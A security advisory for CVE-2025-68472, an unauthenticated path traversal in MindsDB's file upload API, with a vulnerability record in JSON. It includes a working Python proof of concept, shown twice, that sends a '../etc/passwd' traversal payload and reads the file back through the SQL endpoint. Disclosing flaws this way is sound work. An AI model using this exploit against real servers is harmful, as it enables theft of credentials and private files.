GHSA-QQHF-PM3J-96G7

Vulnerability from github – Published: 2026-01-12 16:10 – Updated: 2026-01-20 18:22
VLAI?
Summary
MindsDB has improper sanitation of filepath that leads to information disclosure and DOS
Details

Summary

BlueRock discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. Severity: High.

Details

The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":

  • data = request.json (line ~104) accepts attacker input without validation.
  • file_path = os.path.join(temp_dir_path, data["file"]) (line ~178) creates the path inside a temporary directory, but if data["file"] is absolute (e.g., /home/secret.csv), os.path.join ignores temp_dir_path and targets the attacker-specified location.
  • The resulting path is handed to ca.file_controller.save_file(...), which wraps FileReader(path=source_path) (mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequent shutil.move(file_path, ...) call also relocates the victim file into MindsDB’s managed storage.

Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.

PoC

  1. Run MindsDB in Docker: bash docker pull mindsdb/mindsdb:latest docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest
  2. Execute the exploit from the host (save as poc.py and run with python poc.py): ```python # poc.py import requests, json

base = "http://127.0.0.1:47334" payload = {"file": "../../../../../etc/passwd"} # no source_type -> hits vulnerable branch

r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10) print("PUT status:", r.status_code, r.text)

q = requests.post( f"{base}/api/sql/query", json={"query": "SELECT * FROM files.leak_rel"}, timeout=10, ) print("SQL response:", json.dumps(q.json(), indent=2)) `` 3. The SQL response returns the contents of/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.

Impact

  • Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.
Severity ?
8.1 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "MindsDB"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "25.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68472"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23",
      "CWE-36"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-12T16:10:55Z",
    "nvd_published_at": "2026-01-12T17:15:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n[BlueRock](https://bluerock.io/) discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB\u2019s storage, exposing sensitive data. Severity: High.\n\n### Details\nThe PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and `source_type` is not `\"url\"`:\n\n- `data = request.json` (line ~104) accepts attacker input without validation.\n- `file_path = os.path.join(temp_dir_path, data[\"file\"])` (line ~178) creates the path inside a temporary directory, but if `data[\"file\"]` is absolute (e.g., `/home/secret.csv`), `os.path.join` ignores `temp_dir_path` and targets the attacker-specified location.\n- The resulting path is handed to `ca.file_controller.save_file(...)`, which wraps `FileReader(path=source_path)` (`mindsdb/interfaces/file/file_controller.py:66`), causing the application to read the contents of that arbitrary file. The subsequent `shutil.move(file_path, ...)` call also relocates the victim file into MindsDB\u2019s managed storage.\n\nOnly multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to `clear_filename` or equivalent checks.\n\n### PoC\n1. Run MindsDB in Docker:\n   ```bash\n   docker pull mindsdb/mindsdb:latest\n   docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest\n   ```\n2. Execute the exploit from the host (save as poc.py and run with `python poc.py`):\n   ```python\n   # poc.py\n   import requests, json\n\n   base = \"http://127.0.0.1:47334\"\n   payload = {\"file\": \"../../../../../etc/passwd\"}  # no source_type -\u003e hits vulnerable branch\n\n   r = requests.put(f\"{base}/api/files/leak_rel\", json=payload, timeout=10)\n   print(\"PUT status:\", r.status_code, r.text)\n\n   q = requests.post(\n       f\"{base}/api/sql/query\",\n       json={\"query\": \"SELECT * FROM files.leak_rel\"},\n       timeout=10,\n   )\n   print(\"SQL response:\", json.dumps(q.json(), indent=2))\n   ```\n3. The SQL response returns the contents of `/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB\u2019s storage directory.\n\n### Impact\n- Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.",
  "id": "GHSA-qqhf-pm3j-96g7",
  "modified": "2026-01-20T18:22:20Z",
  "published": "2026-01-12T16:10:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mindsdb/mindsdb/security/advisories/GHSA-qqhf-pm3j-96g7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68472"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mindsdb/mindsdb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mindsdb/mindsdb/releases/tag/v25.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MindsDB has improper sanitation of filepath that leads to information disclosure and DOS"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.